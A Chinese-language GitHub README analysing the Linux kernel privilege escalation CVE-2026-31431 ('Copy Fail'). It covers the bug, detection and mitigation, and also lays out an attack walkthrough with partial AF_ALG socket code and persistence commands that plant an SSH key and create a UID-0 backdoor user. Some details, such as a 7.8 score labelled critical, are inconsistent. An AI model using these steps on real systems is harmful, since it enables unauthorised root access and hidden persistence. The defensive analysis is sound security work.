krish-foren6/CVE-2026-31431-Report-Copy-fail-Vulnerability-
GitHub: krish-foren6/CVE-2026-31431-Report-Copy-fail-Vulnerability-
一份针对 Linux 内核 CVE-2026-31431(Copy Fail)本地提权漏洞的深度分析报告,涵盖漏洞原理、攻击流程、防御检测及与类似 CVE 的对比。
Stars: 1 | Forks: 0
# CVE-2026-31431 — Copy Fail: Linux 内核提权漏洞





## ⚠️ 免责声明
本仓库仅用于**教育和研究目的**。
请勿将此信息用于您不拥有或未获得明确书面许可进行测试的系统。
所有代码片段和命令仅供辅助理解 Linux 内核内部机制使用。
## 目录
- [概述](#overview)
- [漏洞身份卡](#vulnerability-identity-card)
- [背景概念](#background-concepts)
- [漏洞原理](#how-the-bug-works)
- [完整攻击流程](#complete-attack-flow)
- [为何如此危险](#why-it-is-so-dangerous)
- [安全的实践观测](#safe-practical-observation)
- [防御与检测](#defense--detection)
- [与类似 CVE 的对比](#comparison-with-similar-cves)
- [术语表](#glossary)
- [快速参考](#quick-reference)
## 概述
**CVE-2026-31431**,也被称为 **Copy Fail**,是一个 Linux 内核漏洞,非特权本地用户无需任何特殊权限即可提权至 **root**。
攻击完全在 **RAM** 中进行。磁盘文件不会被触及——这意味着文件哈希值保持不变,时间戳不会改变,审计日志也不会记录任何内容。当系统重启时,所有证据都会随之消失。
```
Normal user → exploit algif_aead bug → overwrite page cache → root
```
**核心特性:**
- ✅ 无竞态条件 —— 每次都能稳定触发
- ✅ 磁盘未被触及 —— 取证调查一无所获
- ✅ 仅需标准本地用户账户
- ✅ 可通过共享页缓存实现容器逃逸
## 漏洞身份卡
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-31431 |
| 常见名称 | Copy Fail / algif_aead 页缓存损坏 |
| CVSS v3.1 评分 | **7.8 — 严重** |
| 攻击类型 | 本地提权 (LPE) |
| 受影响内核版本 | Linux 5.10 至 6.8 (约) |
| 漏洞组件 | `crypto/algif_aead.c` — AF_ALG socket 接口 |
| 漏洞利用可靠性 | 高 —— 无需竞态条件 |
| 磁盘证据 | 无 —— 仅限 RAM 修改 |
| 容器影响 | 是 —— 通过共享页缓存逃逸至宿主机 |
| 补丁状态 | 已提供 (已发布上游内核补丁) |
## 背景概念
### `/usr/bin/su` — 目标二进制文件
`su` (切换用户) 允许用户切换到另一个账户——通常是 root。它是一个 **SetUID 二进制文件**:
```
ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
# ^-- 's' = SetUID flag
```
`s` 标志意味着:当*任何*用户运行此二进制文件时,它将以 **root 的权限**执行。这使其成为高价值目标。
其内部逻辑(简化版):
```
if (password_correct()) {
give_root_access();
} else {
deny_access();
}
```
攻击目标:**完全跳过 `password_correct()` 检查。**
### RAM 和页缓存
当 Linux 从磁盘读取文件时,它会在 RAM 中保留一份副本,称为**页缓存 (Page Cache)**。
| 组件 | 描述 |
|---|---|
| 磁盘 | 磁盘上的原始文件(相当于书架上的书) |
| 页缓存 | 文件在 RAM 中的副本(相当于你桌上的复印件) |
| CPU | 从页缓存读取并执行 —— 速度快 |
| 攻击者 | 修改 RAM 副本;磁盘保持原样 |
```
cat /proc/meminfo | grep Cached
# Cached: 1234567 kB ← 这是 page cache
```
### 缓冲区与安全缓冲区
| 类型 | 安全性 |
|---|---|
| 安全缓冲区 —— 内核分配,大小和边界受控 | ✅ 安全 |
| 页缓存 —— 文件支持的 RAM 副本,共享且可执行 | ⚠️ 写入时存在危险 |
| 错误指针 —— 由漏洞导致的指向任意位置的地址 | 🔴 严重 |
### AF_ALG 和 algif_aead
**AF_ALG** (Algorithm Family) 是一个 Linux socket 接口,它允许用户空间程序使用内核加密功能 (AES, SHA, AEAD)。
```
socket(AF_ALG, SOCK_SEQPACKET, 0); // open a crypto socket
```
**algif_aead** 是通过 AF_ALG 处理 AEAD 加密(例如 AES-GCM)的内核模块。该漏洞存在于其**数据拷贝步骤**中。
```
AF_ALG → algif_aead → AES-GCM engine → output buffer
↑
BUG IS HERE
```
## 漏洞原理
该漏洞**不**存在于加密逻辑中。它存在于**内存处理**中——在数据拷贝期间选择了错误的内存区域。
### 正常流程(无漏洞):
```
destination = safe_output_buffer; // correct location
memcpy(destination, user_data, size); // data safely written
```
### 存在漏洞的流程(触发漏洞):
```
destination = buffer + WRONG_OFFSET; // BUG: wrong pointer!
memcpy(destination, user_data, size); // data lands in page cache
```
内核本应写入**安全输出缓冲区**。由于偏移量计算错误,它写入了**页缓存**——那里存放着 `/usr/bin/su` 的 RAM 副本。
### 攻击者在内存中的更改
该二进制文件包含 x86-64 机器码。攻击者的目标是触发认证失败的条件跳转指令:
**攻击前:**
```
cmp eax, 0 ; check return value
jne 0x1234 ; if fail → jump to deny
call give_root ; grant root
```
**攻击后(RAM 中更改了 2 个字节):**
```
cmp eax, 0 ; same
90 90 ; NOP NOP ← jump replaced, check skipped!
call give_root ; CPU lands here directly
```
`NOP` = 空操作。CPU 不执行任何操作并继续向前运行——完全跳过了身份验证检查。
## 完整攻击流程
### 攻击前的心态
### 步骤 0 — 侦察
```
whoami && id
# uid=1000(user) gid=1000(user) ← 普通用户
uname -r
# 6.1.0-generic ← 在易受攻击范围内
ls -la /usr/bin/su
# -rwsr-xr-x root root ← 已确认 SetUID
python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG available')"
```
### 步骤 1 — 将文件加载到页缓存
```
cat /usr/bin/su > /dev/null
# /usr/bin/su 现已加载至 page cache ✓
```
### 步骤 2 — 逆向工程二进制文件
```
xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su
```
寻找:认证函数地址、`jne`/`jnz` 条件跳转指令及其确切的字节偏移量。
### 步骤 3 — 打开 AF_ALG Socket
```
import socket, struct
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)
```
### 步骤 4 — 发送精心构造的 Payload
```
payload = b'\x90\x90' # NOP NOP — replaces the conditional jump
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])
```
### 步骤 5 — 内核覆盖页缓存
```
# Kernel 内部(简述):
destination = buffer + crafted_offset # BUG: wrong pointer
memcpy(destination, payload, 2) # NOP bytes written into page cache
# /usr/bin/su 的密码检查在 RAM 中现已变为 NOP NOP
```
### 步骤 6 — 触发
```
su
# Password: (任意内容 — 或直接按 Enter)
# root@victim:/# ← 已获取 ROOT
```
**发生了什么:**系统从 RAM 执行了 `/usr/bin/su`。密码检查变成了 NOP。CPU 跳过了它。`give_root()` 被直接调用。
### 步骤 7 — 持久化(可选)
```
echo 'attacker_public_key' >> /root/.ssh/authorized_keys
useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd
```
## 为何如此危险
### 无竞态条件
| CVE | 竞态条件? | 磁盘安全? | 可靠性 |
|---|---|---|---|
| CVE-2016-5195 DirtyCow | 是 —— 需要时机配合 | 否 —— 磁盘被修改 | 中 |
| CVE-2022-0847 DirtyPipe | 极少 | 是 —— 仅限 RAM | 高 |
| **CVE-2026-31431 Copy Fail** | **否 —— 直接写入** | **是 —— 仅限 RAM** | **极高** |
### 磁盘未被触及 —— 取证失败
攻击发生后,取证调查人员会发现:
```
sha256sum /usr/bin/su # SAME hash as before ← disk untouched
diff /usr/bin/su backup/su # No difference
grep -r 'attack' /var/log/ # Nothing
auditd logs # No file write recorded
```
一旦重启,RAM 被清空——所有证据都会消失。
| 检测方法 | 有效? |
|---|---|
| sha256sum / 文件哈希 | ❌ 磁盘内容完全一致 |
| 文件修改时间戳 | ❌ 磁盘未被触及 |
| auditd 文件写入日志 | ❌ 未发生磁盘写入 |
| 进程内存检查 (`/proc`) | ✅ 仅限实时监控时有效 |
| eBPF 内核监控 | ✅ Syscall 级别检测 |
| 内存取证 | ✅ 但操作复杂 |
### 容器逃逸
容器隔离了用户空间——但是**内核是共享的**,并且**页缓存属于内核内存**。
```
Host Kernel
├── Container 1 (isolated user space)
│ └── Attacker is here
├── Container 2
└── Host Process
Page Cache: SHARED between all containers and host!
```
**逃逸路径:**容器 1 中的攻击者读取宿主机的 `/usr/bin/su` → 触发漏洞 → RAM 中的宿主机二进制文件被修改 → 在宿主机上运行 `su` 即可获得**宿主机**的 root 权限。
受影响范围:Docker、Podman、LXC、Kubernetes (共享节点) —— 如果宿主机内核存在漏洞。
## 安全的实践观测
### 观测页缓存
```
free -h # note Cache value before
cat /usr/bin/su > /dev/null # load file into page cache
free -h # Cache increases slightly
```
### 查看二进制文件内存映射
```
su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su
```
### 检查二进制文件
```
xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'
```
### 查看汇编代码
```
sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit
```
### 磁盘与 RAM 哈希对比
```
sha256sum /usr/bin/su
# 与正常磁盘相同 — 在成功攻击后有所不同
# /proc/PID/mem 比较需要 root
```
## 防御与检测
### 立即缓解措施
**优先级 1 — 内核更新(最佳修复方案)**
```
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot
# RHEL / CentOS
sudo yum update kernel
sudo reboot
```
**优先级 2 — 禁用 algif_aead**
```
sudo modprobe -r algif_aead
echo 'install algif_aead /bin/false' | \
sudo tee /etc/modprobe.d/disable-algif-aead.conf
```
**优先级 3 — 访问控制**
在 systemd 服务中使用带有 `SystemCallFilter` 的 seccomp 配置文件,以限制不受信任的进程访问 AF_ALG socket。
### 检测
| 方法 | 命令 / 途径 |
|---|---|
| 内核版本 | `uname -r` → 与已修补版本进行对比 |
| 模块是否加载? | `lsmod \| grep algif_aead` |
| eBPF 监控 | `bpftrace -e 'kprobe:algif_aead_sendmsg { ... }'` |
| 进程内存 | `cat /proc/PID/maps` — 与磁盘哈希进行对比 |
| auditd | `ausearch -sc socket -sv no` |
| Falco | 规则:意外的 memfd 或页缓存写入 |
| 内存取证 | 使用 LiME 转储进行事后分析 |
### eBPF 实时检测
```
sudo bpftrace -e '
kprobe:algif_aead_sendmsg {
printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
}
'
```
### 容器加固
```
# 使用 seccomp profile 运行(阻止 AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image
```
- 使用阻止创建 AF_ALG socket 的 seccomp 配置文件
- 对于高风险工作负载,使用 gVisor 或类似的内核隔离技术
- 避免使用特权容器
- 将容器内的根文件系统设置为只读
- 应用 Kubernetes Pod 安全标准 —— `restricted` 策略
## 与类似 CVE 的对比
| CVE / 名称 | 竞态条件? | 磁盘安全? | 容器逃逸? | 可靠性 |
|---|---|---|---|---|
| CVE-2016-5195 DirtyCow | 是 —— 需要时机配合 | ❌ 磁盘被修改 | 部分 | 中 |
| CVE-2022-0847 DirtyPipe | 极少 | ✅ 仅限 RAM | 是 | 高 |
| **CVE-2026-31431 Copy Fail** | **否 —— 直接写入** | **✅ 仅限 RAM** | **是 —— 共享缓存** | **极高** |
CVE-2026-31431 结合了**隐蔽性** (磁盘未更改) + **可靠性** (无竞态条件) + **容器逃逸** —— 使其成为同类漏洞中独一无二的严重威胁。
## 术语表
| 术语 | 含义 |
|---|---|
| 权限提升 | 在未经授权的情况下从普通用户提升至 root |
| 页缓存 | 存储在 RAM 中由内核管理的文件副本 |
| SetUID 二进制文件 | 任何用户运行时都会以 root 权限执行的 root 所属文件 |
| 写入原语 | 通过漏洞获取的任意内存写入能力 |
| 竞态条件 | 需要精确执行时间窗口的基于时机的攻击 |
| AF_ALG | Linux 内核加密 socket 接口 (Algorithm Family) |
| algif_aead | AEAD 加密内核模块 —— 本次受影响的组件 |
| memcpy() | 内存拷贝函数 —— 将数据从一个地址移动到另一个地址 |
| NOP | 空操作 —— CPU 指令,不执行任何操作并继续运行 |
| 容器逃逸 | 突破容器限制以访问宿主机系统 |
| eBPF | 用于实时 syscall 检测的内核级监控工具 |
| LiME | Linux Memory Extractor —— 用于取证分析的 RAM 转储工具 |
| Seccomp | Secure Computing —— 限制 syscall 的 Linux 机制 |
| ELF | Executable and Linkable Format —— 标准 Linux 二进制格式 |
| CVE | Common Vulnerabilities and Exposures —— 漏洞标识符 |
| CVSS | Common Vulnerability Scoring System —— 标准化严重性评分 |
| 内核模块 | 内核插件(例如设备驱动程序、加密处理程序) |
| 偏移量 | 从一个内存点到另一个内存点的字节距离 |
| 逆向工程 在无法访问源代码的情况下分析已编译的二进制文件 |
## 快速参考
### 攻击流程一览
| 步骤 | 操作 |
|---|---|
| 1 | `whoami` — 确认你是普通用户 |
| 2 | `uname -r` — 验证内核是否在受影响范围内 (5.10 – 6.8) |
| 3 | `ls -la /usr/bin/su` — 确认存在 SetUID 标志 |
| 4 | 运行漏洞利用脚本:AF_ALG → algif_aead → 构造的 payload |
| 5 | 内核漏洞触发 → RAM 中 `/usr/bin/su` 的页缓存被覆盖 |
| 6 | 运行 `su` → 获得 ROOT 权限 (无需密码) |
| 7 | 持久化:添加 SSH 密钥或创建后门 root 用户 |
### 防御检查清单
- [ ] 立即将内核更新至已修补版本
- [ ] 如果不需要,禁用 `algif_aead` 模块
- [ ] 启用 eBPF 或 Falco 内核级监控
- [ ] 更新容器 seccomp 配置文件以阻止 AF_ALG
- [ ] 安排基于内存的二进制完整性检查
- [ ] 审查并更新事件响应计划
### 一句话概括
*本文档旨在用于教育目的,以帮助理解 Linux 内核安全内部机制。*
*— 仅限教育用途 —*
## 📄 完整报告 (PDF)
👉 [下载完整报告](https://github.com/krish-foren6/CVE-2026-31431-Report-Copy-fail-Vulnerability-/raw/main/CVE-2026-31431_Report(Copy%20fail).pdf)
标签:0day挖掘, algif_aead, AMSI绕过, Copy Fail漏洞, CVE-2026-31431, CVSS 7.8, Docker镜像, Exploit, Linux内核, Web报告查看器, 内存安全, 内存损坏, 内核安全, 协议分析, 反取证, 威胁检测, 子域名枚举, 安全渗透, 安全评估, 提权技术, 教育研究, 数据展示, 本地提权, 权限提升, 漏洞分析, 漏洞复现, 系统安全, 红队, 网络安全, 请求拦截, 路径探测, 逆向工具, 隐私保护, 零痕迹攻击, 页缓存篡改